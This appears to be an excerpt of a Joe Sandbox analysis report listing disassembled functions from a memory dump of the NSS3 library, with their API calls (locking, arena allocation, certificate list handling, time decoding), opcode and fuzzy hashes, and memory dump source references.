API String ID: 17951984-0
Opcode ID: a1f99ea57d4e5494b7f73aac52fa7ba4cffa12db2cd8cfea4b61cdd5acfe7158
Instruction ID: c38d3935927ae56952c64f25c7679b3a56e7ea79cd0b1c95c3ea1c1b279a2d47
Opcode Fuzzy Hash: a1f99ea57d4e5494b7f73aac52fa7ba4cffa12db2cd8cfea4b61cdd5acfe7158
Instruction Fuzzy Hash: 0931E975A006595BDF01CF69DC81BEF73B8FF45398F050225E829B7781DB34E9048A92

Function 6CB16DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CB16E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB16E57

Part of subcall function 6CB4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB4C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CB16E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CB16EAA

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 8e5e18d38badff3050dbde607101ae5277cf5df140c9bf54e4f5b3b20bf25bb9
Instruction ID: 5b058349ed05a8adc05b1bc0376e7d0c583ea504fd5a1cce7dca2f1c48bab093
Opcode Fuzzy Hash: 8e5e18d38badff3050dbde607101ae5277cf5df140c9bf54e4f5b3b20bf25bb9
Instruction Fuzzy Hash: C2319373618692EEDB145F34DD043A6B7A5EB0631AF10073CD49AD6E84EB316958CF82

Function 6CAFDDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6CAFDDB1,?,00000000), ref: 6CAFDDF4

Part of subcall function 6CB014C0: TlsGetValue.KERNEL32 ref: 6CB014E0
Part of subcall function 6CB014C0: EnterCriticalSection.KERNEL32 ref: 6CB014F5
Part of subcall function 6CB014C0: PR_Unlock.NSS3 ref: 6CB0150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6CAFDDB1,?,00000000), ref: 6CAFDE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6CAFDDB1,?,00000000), ref: 6CAFDE17

Part of subcall function 6CB00BE0: malloc.MOZGLUE(6CAF8D2D,?,00000000,?), ref: 6CB00BF8
Part of subcall function 6CB00BE0: TlsGetValue.KERNEL32(6CAF8D2D,?,00000000,?), ref: 6CB00C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CAFDE80

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 9885014da977c5bfca56186aad3b674b1fc073aee41413b2a5993e76a412a870
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 6231A7B1E017429BE701CF56D880656B7B4FFA531CB24822DE82D87B01E771E5E5CB91

Function 6CAEFE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CAC5ADC,?,00000000,00000001,?,?,00000000,?,6CABBA55,?,?), ref: 6CAEFE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAEFE5F
PR_Unlock.NSS3(78831D74), ref: 6CAEFEC2
PR_SetError.NSS3(00000000,00000000), ref: 6CAEFED6

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: dc937af3f842b92d7c3412e76951585afb45f7df6927305cd86745c2737af729
Instruction ID: 043a50759c94c79d594f4ed83b2c5da4ed9b946fae5fb7728019fc3e2a996285
Opcode Fuzzy Hash: dc937af3f842b92d7c3412e76951585afb45f7df6927305cd86745c2737af729
Instruction Fuzzy Hash: E9210431A006159BD7119E74EC447AA77B8FF09358F080128DD0867E42E731F9A8DBD1

Function 6CAF3F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6CAF3440: PK11_GetAllTokens.NSS3 ref: 6CAF3481
Part of subcall function 6CAF3440: PR_SetError.NSS3(00000000,00000000), ref: 6CAF34A3
Part of subcall function 6CAF3440: TlsGetValue.KERNEL32 ref: 6CAF352E
Part of subcall function 6CAF3440: EnterCriticalSection.KERNEL32(?), ref: 6CAF3542
Part of subcall function 6CAF3440: PR_Unlock.NSS3(?), ref: 6CAF355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CADE80C,00000000,00000000,?,?,?,?,6CAE8C5B,-00000001), ref: 6CAF3FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CADE80C,00000000,00000000,?,?,?,?,6CAE8C5B,-00000001), ref: 6CAF3FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6CADE80C,00000000,00000000,?,?,?,?,6CAE8C5B,-00000001), ref: 6CAF3FFE
PR_SetError.NSS3 ref: 6CAF401A

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: a835c811099171638d5187c3836cd7532dba5f9aa66d0f069c3aeb4aeac7896c
Instruction ID: 87c4b21e72829a8f0768bacf6129300ecc7a118d700194c9921e59081f20f938
Opcode Fuzzy Hash: a835c811099171638d5187c3836cd7532dba5f9aa66d0f069c3aeb4aeac7896c
Instruction Fuzzy Hash: 3F316F746087048FD710AF69D58466EBBF4FF88354F05492DE9998BB00EB34E9C5CB92

Function 6CAC98A0 Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 6CAF8800: TlsGetValue.KERNEL32(?,6CB0085A,00000000,?,6CAA8369,?), ref: 6CAF8821
Part of subcall function 6CAF8800: TlsGetValue.KERNEL32(?,?,6CB0085A,00000000,?,6CAA8369,?), ref: 6CAF883D
Part of subcall function 6CAF8800: EnterCriticalSection.KERNEL32(?,?,?,6CB0085A,00000000,?,6CAA8369,?), ref: 6CAF8856
Part of subcall function 6CAF8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CAF8887
Part of subcall function 6CAF8800: PR_Unlock.NSS3(?,?,?,?,6CB0085A,00000000,?,6CAA8369,?), ref: 6CAF8899

TlsGetValue.KERNEL32 ref: 6CAC98F5
EnterCriticalSection.KERNEL32 ref: 6CAC990E
PR_Unlock.NSS3 ref: 6CAC9942
PR_SetError.NSS3 ref: 6CAC995E

Part of subcall function 6CA907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA2204A), ref: 6CA907AD
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA2204A), ref: 6CA907CD
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA2204A), ref: 6CA907D6
Part of subcall function 6CA907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA2204A), ref: 6CA907E4
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,6CA2204A), ref: 6CA90864
Part of subcall function 6CA907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA90880
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,?,6CA2204A), ref: 6CA908CB
Part of subcall function 6CA907A0: TlsGetValue.KERNEL32(?,?,6CA2204A), ref: 6CA908D7
Part of subcall function 6CA907A0: TlsGetValue.KERNEL32(?,?,6CA2204A), ref: 6CA908FB

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$CondErrorWait
String ID:
API String ID: 1779658291-0
Opcode ID: 95570a2cb6df7b4ed687c045e07f0e23bd3426e93458bc409cbec71ee9712af2
Instruction ID: 2d805a6ca3f616b127868a26dd12e6dad6f253ec8dcd9e7067dbd551e76daf92
Opcode Fuzzy Hash: 95570a2cb6df7b4ed687c045e07f0e23bd3426e93458bc409cbec71ee9712af2
Instruction Fuzzy Hash: 2F313AB4B056148FDB40EFB9C68466EBBF4FF09308F01446DD8989B711D731A885CB82

Function 6CAE4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CAEB60F,00000000), ref: 6CAE5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CAEB60F,00000000), ref: 6CAE501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CAEB60F,00000000), ref: 6CAE504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CAEB60F,00000000), ref: 6CAE5064

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 185723f5b4b9c31192c311860e5c1a74c4ed4f1287bcf19373af44b100748e00
Instruction ID: 8b5d947952bdd7a375b552cb4d7cf938cb6d49bb1b8eff856f76d4e119f35047
Opcode Fuzzy Hash: 185723f5b4b9c31192c311860e5c1a74c4ed4f1287bcf19373af44b100748e00
Instruction Fuzzy Hash: A33106B4A05A06CFDB00EF68D48466ABBF4FF08314F158969E869D7B01E730E894DBD1

Function 6CAA1EC0 Relevance: 6.1, APIs: 4, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CAA4C64,?,-00000004), ref: 6CAA1EE2

Part of subcall function 6CB01820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CAA1D97,?,?), ref: 6CB01836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA4C64,?,-00000004), ref: 6CAA1F13
DER_DecodeTimeChoice_Util.NSS3(?,6CAA4CA0,?,?,?,?,?,?,00000000,00000000,?,6CAA4C64,?,-00000004), ref: 6CAA1F37
DER_DecodeTimeChoice_Util.NSS3(?,6CAA4C1C,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAA4C64,?,-00000004), ref: 6CAA1F53

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID:
API String ID: 3216063065-0
Opcode ID: 69d806ac71c532d0b7800c4fe964c7e1c5231d1cf7e77eb6b611aff08802fff2
Instruction ID: 29e5634922050e5c7251397afab5bdbda8220113ff025b72e74a628db0814edb
Opcode Fuzzy Hash: 69d806ac71c532d0b7800c4fe964c7e1c5231d1cf7e77eb6b611aff08802fff2
Instruction Fuzzy Hash: D5215371504355FBC710CE65DD00AAFB7E9BB88659F440929F954C3A40F730E659C7D2

Function 6CB09F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CB0A71A,FFFFFFFF,?,?), ref: 6CB09FAB

Part of subcall function 6CB014C0: TlsGetValue.KERNEL32 ref: 6CB014E0
Part of subcall function 6CB014C0: EnterCriticalSection.KERNEL32 ref: 6CB014F5
Part of subcall function 6CB014C0: PR_Unlock.NSS3 ref: 6CB0150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6CB0A71A,6CB0A71A,00000000), ref: 6CB09FD9

Part of subcall function 6CB01340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CAA895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA9F599,?,00000000), ref: 6CB0136A
Part of subcall function 6CB01340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CAA895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA9F599,?,00000000), ref: 6CB0137E
Part of subcall function 6CB01340: PL_ArenaGrow.NSS3(?,6CA9F599,?,00000000,?,6CAA895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA9F599,?), ref: 6CB013CF
Part of subcall function 6CB01340: PR_Unlock.NSS3(?,?,6CAA895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA9F599,?,00000000), ref: 6CB0145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CB0A71A,6CB0A71A,00000000), ref: 6CB0A009
PR_SetError.NSS3(FFFFE013,00000000,6CB0A71A,6CB0A71A,00000000), ref: 6CB0A045

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 65fd87f0b6eaa5655e2b274c6133ad50c90490a1ad0ac42ac34eedbee1f55889
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 922183B470024AABE7049F15DC50F6ABBADFB4535CF148128D81987B81F776E814CB91

Function 6CB12DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CB12E08

Part of subcall function 6CB014C0: TlsGetValue.KERNEL32 ref: 6CB014E0
Part of subcall function 6CB014C0: EnterCriticalSection.KERNEL32 ref: 6CB014F5
Part of subcall function 6CB014C0: PR_Unlock.NSS3 ref: 6CB0150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CB12E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CB12E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB12E95

Part of subcall function 6CB01200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CAA88A4,00000000,00000000), ref: 6CB01228
Part of subcall function 6CB01200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CB01238
Part of subcall function 6CB01200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CAA88A4,00000000,00000000), ref: 6CB0124B
Part of subcall function 6CB01200: PR_CallOnce.NSS3(6CC02AA4,6CB012D0,00000000,00000000,00000000,?,6CAA88A4,00000000,00000000), ref: 6CB0125D
Part of subcall function 6CB01200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CB0126F
Part of subcall function 6CB01200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CB01280
Part of subcall function 6CB01200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CB0128E
Part of subcall function 6CB01200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CB0129A
Part of subcall function 6CB01200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CB012A1

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 5973971976b42138785315c8ce6a84bfe0d190850679b60bfb27ad8ac8bfde3e
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: F921F972E543C54BEB00CF549D447AA3764AF9234CF150269ED085BB52F7B1D6948293

Function 6CACACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CACACC2

Part of subcall function 6CAA2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CAA2F0A
Part of subcall function 6CAA2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CAA2F1D

Part of subcall function 6CAA2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CAA0A1B,00000000), ref: 6CAA2AF0
Part of subcall function 6CAA2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAA2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CACAD5E

Part of subcall function 6CAE57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CAAB41E,00000000,00000000,?,00000000,?,6CAAB41E,00000000,00000000,00000001,?), ref: 6CAE57E0
Part of subcall function 6CAE57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CAE5843

CERT_DestroyCertList.NSS3(?), ref: 6CACAD36

Part of subcall function 6CAA2F50: CERT_DestroyCertificate.NSS3(?), ref: 6CAA2F65
Part of subcall function 6CAA2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAA2F83

free.MOZGLUE(?), ref: 6CACAD4F

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 45a150ce0d14fc9da95263f545b87c31f5126cfe4943623b386c14242747c0a5
Instruction ID: c6b1008bea98e683934870b344812744ed64676663646b4ff2727a22707febc1
Opcode Fuzzy Hash: 45a150ce0d14fc9da95263f545b87c31f5126cfe4943623b386c14242747c0a5
Instruction Fuzzy Hash: E221C6B5E001148BEF11DFA5D9055EE77B5AF09308F054568D809B7B00FB31AEA9CBE2

Function 6CAF3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAF3C9E
EnterCriticalSection.KERNEL32(?), ref: 6CAF3CAE
PR_Unlock.NSS3(?), ref: 6CAF3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6CAF3D02

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: f1a7f567ab0286b136e2ded68d12ace031d4892d4d5dd380e14e31a62ceeeafa
Instruction ID: d04666d5914ad699f0374b90c646c3f95a26206348e439266afb0ab69b8028b0
Opcode Fuzzy Hash: f1a7f567ab0286b136e2ded68d12ace031d4892d4d5dd380e14e31a62ceeeafa
Instruction Fuzzy Hash: 3111D679A012049FDB00EF24DC44A9A3778EF09368F198464FD5897712D731ED96C7E1

Function 6CAFECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CAFF0AD,6CAFF150,?,6CAFF150,?,?,?), ref: 6CAFECBA

Part of subcall function 6CB00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CAA87ED,00000800,6CA9EF74,00000000), ref: 6CB01000
Part of subcall function 6CB00FF0: PR_NewLock.NSS3(?,00000800,6CA9EF74,00000000), ref: 6CB01016
Part of subcall function 6CB00FF0: PL_InitArenaPool.NSS3(00000000,security,6CAA87ED,00000008,?,00000800,6CA9EF74,00000000), ref: 6CB0102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CAFECD1

Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB010F3
Part of subcall function 6CB010C0: EnterCriticalSection.KERNEL32(?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0110C
Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01141
Part of subcall function 6CB010C0: PR_Unlock.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01182
Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CAFED02

Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CAFED5A

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
